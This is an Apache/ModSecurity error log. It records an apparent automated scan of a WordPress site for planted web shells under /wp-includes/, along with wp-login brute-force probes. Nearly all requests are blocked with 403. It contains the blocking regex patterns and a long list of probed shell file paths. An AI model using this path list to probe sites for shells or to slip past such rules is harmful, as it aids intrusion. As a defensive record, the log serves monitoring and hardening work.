[Mon Mar 02 19:17:55.983985 2026] [:error] [pid 28847:tid 28854] [client 45.8.17.66:64623] [client 45.8.17.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaVx459xbBq8VfeqVDbtaAAAAMU"]
[Mon Mar 02 19:17:57.149767 2026] [:error] [pid 28847:tid 28864] [client 45.8.17.88:38569] [client 45.8.17.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaVx5Z9xbBq8VfeqVDbtawAAAM8"]
[Mon Mar 02 19:17:58.174435 2026] [:error] [pid 28847:tid 28858] [client 45.8.17.89:58863] [client 45.8.17.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaVx5p9xbBq8VfeqVDbtbwAAAMk"]
[Mon Mar 02 19:17:59.215105 2026] [:error] [pid 59734:tid 59755] [client 45.8.17.79:36339] [client 45.8.17.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaVx55eWQx7ZQG9NybEHOAAAAVM"]
[Mon Mar 02 19:17:59.866216 2026] [:error] [pid 28847:tid 28869] [client 45.8.17.78:52363] [client 45.8.17.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaVx559xbBq8VfeqVDbtdwAAANQ"]
[Mon Mar 02 19:18:01.571783 2026] [:error] [pid 28847:tid 28869] [client 45.8.17.72:20205] [client 45.8.17.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaVx6Z9xbBq8VfeqVDbtgQAAANQ"]
[Mon Mar 02 19:18:02.257532 2026] [:error] [pid 59600:tid 59630] [client 45.8.17.93:52291] [client 45.8.17.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaVx6oQ5lE4yocV9IBce0gAAABU"]
[Mon Mar 02 19:18:04.499552 2026] [:error] [pid 28847:tid 28866] [client 45.8.17.67:52967] [client 45.8.17.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaVx7J9xbBq8VfeqVDbthAAAANE"]
[Mon Mar 02 19:18:08.516636 2026] [:error] [pid 59701:tid 59705] [client 45.8.17.86:59709] [client 45.8.17.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaVx8OUmTDVso96U9_K8IwAAAQE"]
[Mon Mar 02 19:18:10.192313 2026] [:error] [pid 28847:tid 28867] [client 45.8.17.68:30107] [client 45.8.17.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.68, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaVx8p9xbBq8VfeqVDbtrAAAANI"]
[Mon Mar 02 19:18:15.506443 2026] [:error] [pid 28847:tid 28864] [client 45.8.17.68:30107] [client 45.8.17.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaVx959xbBq8VfeqVDbt0QAAAM8"]
[Mon Mar 02 19:18:16.911662 2026] [:error] [pid 59601:tid 59649] [client 45.8.17.111:28939] [client 45.8.17.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.111, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaVx-MQ1lXfvWN0-ZQl8fQAAAEs"]
[Mon Mar 02 19:18:17.803576 2026] [:error] [pid 59601:tid 59642] [client 45.8.17.111:28939] [client 45.8.17.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaVx-cQ1lXfvWN0-ZQl8fwAAAEQ"]
[Mon Mar 02 19:18:21.381485 2026] [:error] [pid 59600:tid 59619] [client 45.8.17.96:38291] [client 45.8.17.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaVx_YQ5lE4yocV9IBcfFwAAAAo"]
[Mon Mar 02 19:18:25.071307 2026] [:error] [pid 59600:tid 59629] [client 45.8.17.78:21483] [client 45.8.17.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaVyAYQ5lE4yocV9IBcfJwAAABQ"]
[Mon Mar 02 19:18:26.762888 2026] [:error] [pid 59602:tid 59675] [client 45.8.17.91:54065] [client 45.8.17.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaVyAjMtSo_Fr0lHnSY8RQAAAIo"]
[Mon Mar 02 19:18:28.583588 2026] [:error] [pid 28847:tid 28873] [client 45.8.17.100:61097] [client 45.8.17.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.100, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaVyBJ9xbBq8VfeqVDbt-wAAANg"]
[Mon Mar 02 19:18:28.960698 2026] [:error] [pid 28847:tid 28872] [client 45.8.17.100:61097] [client 45.8.17.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaVyBJ9xbBq8VfeqVDbt_QAAANc"]
[Mon Mar 02 19:18:35.931192 2026] [:error] [pid 59602:tid 59671] [client 45.8.17.190:23053] [client 45.8.17.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaVyCzMtSo_Fr0lHnSY8awAAAIY"]
[Mon Mar 02 19:18:38.590791 2026] [:error] [pid 59701:tid 59710] [client 45.8.17.68:31339] [client 45.8.17.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.68, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaVyDuUmTDVso96U9_K8ZgAAAQY"]
[Mon Mar 02 19:18:39.910901 2026] [:error] [pid 59701:tid 59713] [client 45.8.17.68:31339] [client 45.8.17.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaVyD-UmTDVso96U9_K8bAAAAQk"]
[Mon Mar 02 19:18:40.961333 2026] [:error] [pid 59600:tid 59618] [client 45.8.17.68:65469] [client 45.8.17.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aaVyEIQ5lE4yocV9IBcfSwAAAAk"]
[Mon Mar 02 19:18:42.560093 2026] [:error] [pid 59701:tid 59716] [client 45.8.17.68:26321] [client 45.8.17.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaVyEuUmTDVso96U9_K8eQAAAQw"]
[Mon Mar 02 19:18:45.498642 2026] [:error] [pid 59600:tid 59625] [client 45.8.17.96:27429] [client 45.8.17.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaVyFYQ5lE4yocV9IBcfXAAAABA"]
[Mon Mar 02 19:18:46.133863 2026] [:error] [pid 59600:tid 59633] [client 45.8.17.98:61309] [client 45.8.17.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaVyFoQ5lE4yocV9IBcfXgAAABg"]
[Mon Mar 02 19:18:48.585815 2026] [:error] [pid 59600:tid 59621] [client 45.8.17.83:29583] [client 45.8.17.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaVyGIQ5lE4yocV9IBcfaQAAAAw"]
[Mon Mar 02 19:18:51.325811 2026] [:error] [pid 28847:tid 28864] [client 45.8.17.69:51923] [client 45.8.17.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaVyG59xbBq8VfeqVDbuPgAAAM8"]
[Mon Mar 02 19:18:53.386939 2026] [:error] [pid 28847:tid 28862] [client 45.8.17.54:52515] [client 45.8.17.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aaVyHZ9xbBq8VfeqVDbuVwAAAM0"]
[Mon Mar 02 19:18:55.056245 2026] [:error] [pid 28847:tid 28860] [client 45.8.17.72:46491] [client 45.8.17.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaVyH59xbBq8VfeqVDbuYwAAAMs"]
[Mon Mar 02 19:18:56.523135 2026] [:error] [pid 28847:tid 28854] [client 45.8.17.98:58629] [client 45.8.17.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aaVyIJ9xbBq8VfeqVDbuawAAAMU"]
[Mon Mar 02 19:18:58.364927 2026] [:error] [pid 28847:tid 28858] [client 45.8.17.81:59975] [client 45.8.17.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaVyIp9xbBq8VfeqVDbufAAAAMk"]
[Mon Mar 02 19:19:01.708736 2026] [:error] [pid 59602:tid 59678] [client 45.8.17.198:20169] [client 45.8.17.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaVyJTMtSo_Fr0lHnSY8kQAAAI0"]
[Mon Mar 02 19:19:02.413329 2026] [:error] [pid 59602:tid 59676] [client 45.8.17.70:61317] [client 45.8.17.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aaVyJjMtSo_Fr0lHnSY8lAAAAIs"]
[Mon Mar 02 19:19:04.575458 2026] [:error] [pid 59600:tid 59616] [client 45.8.17.143:21463] [client 45.8.17.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaVyKIQ5lE4yocV9IBcfhgAAAAc"]
[Mon Mar 02 19:19:07.156010 2026] [:error] [pid 59600:tid 59616] [client 45.8.17.99:43485] [client 45.8.17.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaVyK4Q5lE4yocV9IBcfkgAAAAc"]
[Mon Mar 02 19:19:08.209321 2026] [:error] [pid 59600:tid 59627] [client 45.8.17.66:33231] [client 45.8.17.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaVyLIQ5lE4yocV9IBcflQAAABI"]
[Mon Mar 02 19:19:08.954096 2026] [:error] [pid 59734:tid 59738] [client 45.8.17.149:59625] [client 45.8.17.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaVyLJeWQx7ZQG9NybEHfwAAAUI"]
[Mon Mar 02 19:19:10.397236 2026] [:error] [pid 59600:tid 59627] [client 45.8.17.100:59439] [client 45.8.17.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaVyLoQ5lE4yocV9IBcfnwAAABI"]
[Mon Mar 02 19:19:11.304491 2026] [:error] [pid 59600:tid 59618] [client 45.8.17.111:20293] [client 45.8.17.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaVyL4Q5lE4yocV9IBcfpQAAAAk"]
[Mon Mar 02 19:19:12.086624 2026] [:error] [pid 59602:tid 59682] [client 45.8.17.76:47265] [client 45.8.17.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaVyMDMtSo_Fr0lHnSY8mgAAAJE"]
[Mon Mar 02 19:19:12.777081 2026] [:error] [pid 59734:tid 59755] [client 45.8.17.190:21997] [client 45.8.17.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaVyMJeWQx7ZQG9NybEHgAAAAVM"]
[Mon Mar 02 19:19:13.872761 2026] [:error] [pid 59602:tid 59677] [client 45.8.17.91:35999] [client 45.8.17.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaVyMTMtSo_Fr0lHnSY8ogAAAIw"]
[Mon Mar 02 19:19:15.976673 2026] [:error] [pid 28847:tid 28867] [client 45.8.17.84:51541] [client 45.8.17.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaVyM59xbBq8VfeqVDbuoQAAANI"]
[Mon Mar 02 19:19:22.437373 2026] [:error] [pid 28847:tid 28873] [client 45.8.17.81:36047] [client 45.8.17.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaVyOp9xbBq8VfeqVDbuwwAAANg"]
[Mon Mar 02 19:19:25.780958 2026] [:error] [pid 59600:tid 59620] [client 45.8.17.120:29049] [client 45.8.17.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aaVyPYQ5lE4yocV9IBcf6wAAAAs"]
[Mon Mar 02 19:19:28.206397 2026] [:error] [pid 59600:tid 59611] [client 45.8.17.89:57009] [client 45.8.17.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaVyQIQ5lE4yocV9IBcf9QAAAAI"]
[Mon Mar 02 19:19:30.879230 2026] [:error] [pid 28847:tid 28851] [client 45.8.17.71:57563] [client 45.8.17.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaVyQp9xbBq8VfeqVDbu9AAAAMI"]
[Mon Mar 02 19:19:33.785838 2026] [:error] [pid 59602:tid 59670] [client 45.8.17.69:26575] [client 45.8.17.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaVyRTMtSo_Fr0lHnSY8uAAAAIU"]
[Mon Mar 02 19:19:36.268629 2026] [proxy_fcgi:error] [pid 59602:tid 59687] [client 45.8.17.78:36203] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:19:36.655755 2026] [proxy_fcgi:error] [pid 59602:tid 59672] [client 45.8.17.78:36203] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:19:37.340483 2026] [proxy_fcgi:error] [pid 59602:tid 59679] [client 45.8.17.78:36203] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:19:39.002245 2026] [:error] [pid 59602:tid 59686] [client 45.8.17.78:36203] [client 45.8.17.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaVySzMtSo_Fr0lHnSY8zwAAAJU"]
[Mon Mar 02 19:19:40.898902 2026] [:error] [pid 59701:tid 59706] [client 45.8.17.88:43845] [client 45.8.17.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaVyTOUmTDVso96U9_K8yQAAAQI"]
[Mon Mar 02 19:19:41.627899 2026] [:error] [pid 28847:tid 28867] [client 45.8.17.245:58619] [client 45.8.17.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaVyTZ9xbBq8VfeqVDbvFQAAANI"]
